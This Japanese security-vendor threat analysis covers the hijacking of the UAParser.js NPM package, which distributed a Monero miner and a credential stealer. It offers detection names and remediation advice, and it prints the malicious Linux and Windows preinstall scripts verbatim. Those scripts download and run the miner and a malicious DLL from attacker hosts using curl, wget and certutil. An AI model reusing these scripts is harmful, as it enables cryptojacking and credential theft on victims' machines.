脅威の調査

乗っ取られた NPM アカウントがマイニングや認証情報窃取に悪用される

NPM アカウントがハッキングされ、人気の高い node.js ライブラリが改変されました。改変されたライブラリを通じて、Linux あるいは Windows 用の Monero マイナー、および Windows 用の認証情報窃取マルウェアが配布されています。
NPM アカウントがハッキングされ、人気の高い node.js ライブラリが改変されました。改変されたライブラリを通じて、Linux あるいは Windows 用の Monero マイナー、および Windows 用の認証情報窃取マルウェアが配布されています。

10 月 22 日に、人気の高い node.js ライブラリに関連付けられた NPM リポジトリのアカウントが一時的に乗っ取られ、悪意のあるスクリプトの配布に使用されました。このスクリプトは、Linux マシンには暗号通貨 Monero のマイナーをインストールし、Windows システムに対してはマイナーに加え、ユーザーの認証情報を取得するマルウェアをドロップします。MacOS に対しては影響を及ぼしません。

今回の攻撃は、最近発覚したオープンソースのリポジトリへのポイズニング攻撃に関連したもので、 10 月には NPM を利用した攻撃が他に 3 件発生しています。これらの攻撃は、乗っ取られたライブラリと同じ機能を持つと自称する偽の JavaScript ライブラリを利用しており、いずれも代わりに暗号通貨のマイナーをインストールしようとします。 今回の乗っ取りの被害を受けたライブラリは大量に (先週 1 週間で 700 万件以上) ダウンロードされており、大きな脅威になっています。開発者の Web ページによると、被害を受けたライブラリは Facebook、Apple、Amazon、Microsoft、Slack、IBM、HPE、Dell、Oracle、Mozilla、Shopify、Reddit などの大企業でも利用されています。

ダウンロードされた数が多いため、モジュールが乗っ取られ、悪意を持って改変された期間は短くても、多くのシステムが影響を受けた可能性があります。現在ソフォスが確認した限りではこの攻撃の被害を受けたシステムは比較的少ないようですが、引き続き状況を監視し、スクリプトによって配信されたマルウェアの調査を行う予定です。

アカウントの乗っ取り

10 月 22 日、攻撃者が UAParser.js の開発者の NPM アカウントに不正にログインしました。UAParser.js は、Web アプリケーションがユーザーのブラウザの種類や OS に関する情報を検出するために使用するライブラリです。攻撃者は乗っ取ったアカウントを利用してライブラリのデプロイパッケージを改変し、preinstall.js と名付けられたスクリプトを実行する指示を追加しました。改変されたパッケージには node.js パッケージによって実行される Windows 用スクリプトである preinstall.bat および Linux 用スクリプトである preinstall.sh も追加されていました。攻撃者はその後、改変を加えたパッケージを 3 件の新しいバージョン (0.7.29、0.8.0、1.0.0) として公開しました。

y

多くのユーザーから、開発者の GitHub ページを通じて公開された新モジュールにおけるマルウェアの検出が報告されました。 この開発者は、アカウントへの不正ログイン通知に気づかせないために送られた、大量のスパムメールを受信したことで今回の乗っ取りに気づきました。彼は「幸いなことに、スパムメールのおかげで逆に不正ログインに気づきました」と述べており、改変されたバージョンをマルウェアとして報告しましたが、公開を取り消すことはできなかったそうです。その後、彼は 0.7.30、0.801、1.0.1 というバージョン番号を持つライブラリを正式に公開しました。

改変された UAParser.js パッケージをダウンロードしたシステムの数は未だ不明です。

マルウェアのペイロード

Preinstall.js と名付けられたスクリプトは OS の検出を行います。このスクリプトはMacOS システム上では何もしませんが、Linux と Windows 上では、(それぞれ bash シェルあるいは cmd.exe を使用して) 対応するスクリプトファイルを実行しました。

Linux 用のスクリプトは、Web リクエストを行って IP アドレスを確認し、スクリプトを実行しているシステムの国コードを調べます。ロシア、ウクライナ、カザフスタン、ベラルーシのいずれかの国コードを確認した場合、スクリプトは何もせずに終了します。これら以外の国コードを確認した場合、ラトビアのサーバー (hxxp://159[.]148[.]186[.]228/download/jsextension) から curl を用いて (失敗した場合は wget を用いて) jsextension という名前のファイルをダウンロードします。このファイルは XMRig マイナーであり、攻撃者の暗号通貨ウォレットに紐付けて実行されます。

IP=$(curl -k hxxps://freegeoip[.]app/xml/ | grep 'RU\|UA\|BY\|KZ')
If  [ -z "$IP" ]
then
var=$(pgrep jsextension)
if [ -z "$var" ]
then
curl hxxp://159[.]148[.]186[.]228/download/jsextension -o jsextension
if [ ! -f jsextension ]
then
wget hxxp://159[.]148[.]186[.]228/download/jsextension -O jsextension
fi
chmod +x jsextension
./jsextension -k --tls --rig-id q -o pool[.]minexmr[.]com:443 -u 49ay9Aq2r3diJtEk3eeKKm7pc5R39AKnbYJZVqAd1UUmew6ZPX1ndfXQCT16v4trWp4erPyXtUQZTHGjbLXWQdBqLMxxYKH --cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null &
fi
fi

Windows 用のペイロードであるバッチファイル preinstall.bat は、IP アドレスを確認しませんでした。このバッチファイルも上記と同じラトビアのサーバーからファイルのダウンロードを試みます。上記の Linux 用スクリプトと同様、まず curl を使用して Windows で実行可能な暗号通貨マイナー (jsextension.exe) の直接ダウンロードを試み、失敗した場合は wget を使用しました。curl と wget の両方で実行ファイルのダウンロードに失敗した場合、スクリプトは Windows の証明書ユーティリティ (certutil.exe) を使用して Base64 でエンコードされた同ファイルをダウンロードし、実行ファイルとしてデコードします。

また、このバッチファイルは同じ方法で、ロシアでホストされている citationsherbe[.]at から Windows ダイナミックリンクライブラリもダウンロードしようとします。2 件のファイルを取得した後、バッチスクリプトは、すでにマイナーが実行されているかどうかを確認し、(実行されていない場合は実行した上で) Windows の regsvr32.exe の「登録」プロセスを使用して、悪意のある DLL (「create.dll」という名前で保存されています)を実行します。

@echo off
curl hxxp://159[.]148[.]186[.]228/download/jsextension.exe -o jsextension.exe
if not exist jsextension.exe (
wget hxxp://159[.]148[.]186[.]228/download/jsextension.exe -O jsextension.exe
)
if not exist jsextension.exe (
certutil.exe -urlcache -f hxxp://159[.]148[.]186[.]228/download/jsextension.exe jsextension.exe
)
curl hxxps://citationsherbe[.]at/sdd.dll -o create.dll
if not exist create.dll (
wget hxxps://citationsherbe[.]at/sdd.dll -O create.dll
)
if not exist create.dll  (
certutil.exe -urlcache -f hxxps://citationsherbe[.]at/sdd.dll create.dll
)
set exe_1=jsextension.exe
set "count_1=0"
>tasklist.temp (
tasklist /NH /FI "IMAGENAME eq %exe_1%"
)
for /f %%x in (tasklist.temp) do (
if "%%x" EQU "%exe_1%" set /a count_1+=1
)
if %count_1% EQU 0 (start /B .\jsextension.exe -k --tls --rig-id q -o pool[.]minexmr[.]com:443 -u 49ay9Aq2r3diJtEk3eeKKm7pc5R39AKnbYJZVqAd1UUmew6ZPX1ndfXQCT16v4trWp4erPyXtUQZTHGjbLXWQdBqLMxxYKH --cpu-max-threads-hint=50 --donate-level=1 --background & regsvr32.exe -s create.dll)
del tasklist.temp

上記のコードは、最近 Qbot マルウェアでの使用が確認されているのと同じパッカー (自動実行型の圧縮ファイル) です。このパッカーは、情報を窃取するマルウェアを起動します。このマルウェアはおそらく Danabot の新しい亜種であり、VNC や FTP クライアント、電子メールクライアント、Web ブラウザ、インターネットに接続された多数のアプリケーションのホスト、および Windows の資格情報マネージャーを標的として認証情報を窃取することが報告されています。 窃取された認証情報は、複数ある IP アドレス (ソフォスが公開しているセキュリティ侵害の痕跡 (IoC) に記載されています) のいずれかに送信されます。

今回のような乗っ取り攻撃が初めて報告されてからも、DLL を利用する攻撃者は、新しいバージョンのスクリプトを公開しています。新しいバージョンは基本的にはパッカーを再構築したもので、実際の動作に違いはありません。 新しい情報が確認され次第、本記事および SophosLabs の GitHub で公開されている IoC を更新します。

改変されたライブラリへの対策

最近 1 か月間の間に、NPM アカウントを悪用して Linux システムに暗号通貨のマイナーをインストールしようとする攻撃が繰り返し発生しており、Linux サーバーが攻撃者にとって非常に魅力的な標的であり続けていることを示しています。また、サーバーの処理能力を利用して暗号通貨をマイニングさせることは、攻撃者がこれらのシステムへの不正アクセス権を金銭に変換するための手軽な方法のうちの一つです。多くの Linux サーバーは、パフォーマンスの低下を忌避してウイルス対策を施さずに稼働しているため、今回のような攻撃の検知や対応がより難しくなっています。しかし、見知らぬ他人のために Monero をマイニングするのはサーバーのパフォーマンスを低下させることになります。

ソフォスの製品が Linuxにおいてこれらの悪意のある NPM パッケージとそのコンポーネントを検出できるよう、更新を行いました。 感染したコンポーネントが検出された場合、Linux サーバーの管理者は、不正なマイナーを削除する必要があります。 NPM パッケージを使用する Linux システムの管理者は、SophosLabs の GitHub ページで公開されているセキュリティ侵害の痕跡 (IoC) のリストを確認し、悪意のあるマイナーがインストールされていないことを確認してください。

また、SOC チーム (セキュリティ保護専門チーム) は、IoC に含まれる URL や IP アドレスをファイアウォールや DNS ログと照合して、マイナーやマルウェアの兆候を確認してください。また、Nextron Systems 社の Florian Roth 氏が提案するように、セキュリティ管理者や SOC チームは、不正なマイナーの発見のため、組織のネットワークトラフィックにネットワーク上で禁止されている暗号通貨マイニングアプリケーションに関連するドメインが含まれていないかを確認 してください。

NPM を利用した攻撃の手順の多くは Windows 上で動作するソフォス製品の検出対象となるため、ソフォス製品で保護されている Windows システムは攻撃の影響を受けませんでした。 暗号通貨のマイナーは Windows 上では「XMRIG Miner PUA」としてプロアクティブに検出されており、認証情報を窃取するマルウェアは攻撃の開始前に「Mal/EncPk-AQC」として検出されていました。NPM スクリプトの検出は、攻撃の発生後すぐにリリースされました。関連する検出名の一覧は以下の通りです。

  • JS/BadNode-A – 改変された NPM パッケージのメインの JS インストーラー
  • BAT/BadNode-A – Windows 用の BAT インストーラー
  • SH/BadNode-A – Linux 用のシェルインストーラー
  • XMRig Miner (PUA) – Windows 用暗号通貨マイナーの汎用プロアクティブ検出名
  • Mal/EncPk-AQC – Windows 用トロイの木馬 DLL の汎用プロアクティブ検出名

アプリケーションのサポートに NPM パッケージを使用されている方は、インストールされているライブラリに危険なバージョンが含まれていないかを確認し、必要に応じてアップデートしてください。

今回の攻撃に関連する IoC のリストは、SophosLabs の GitHub ページで公開されています。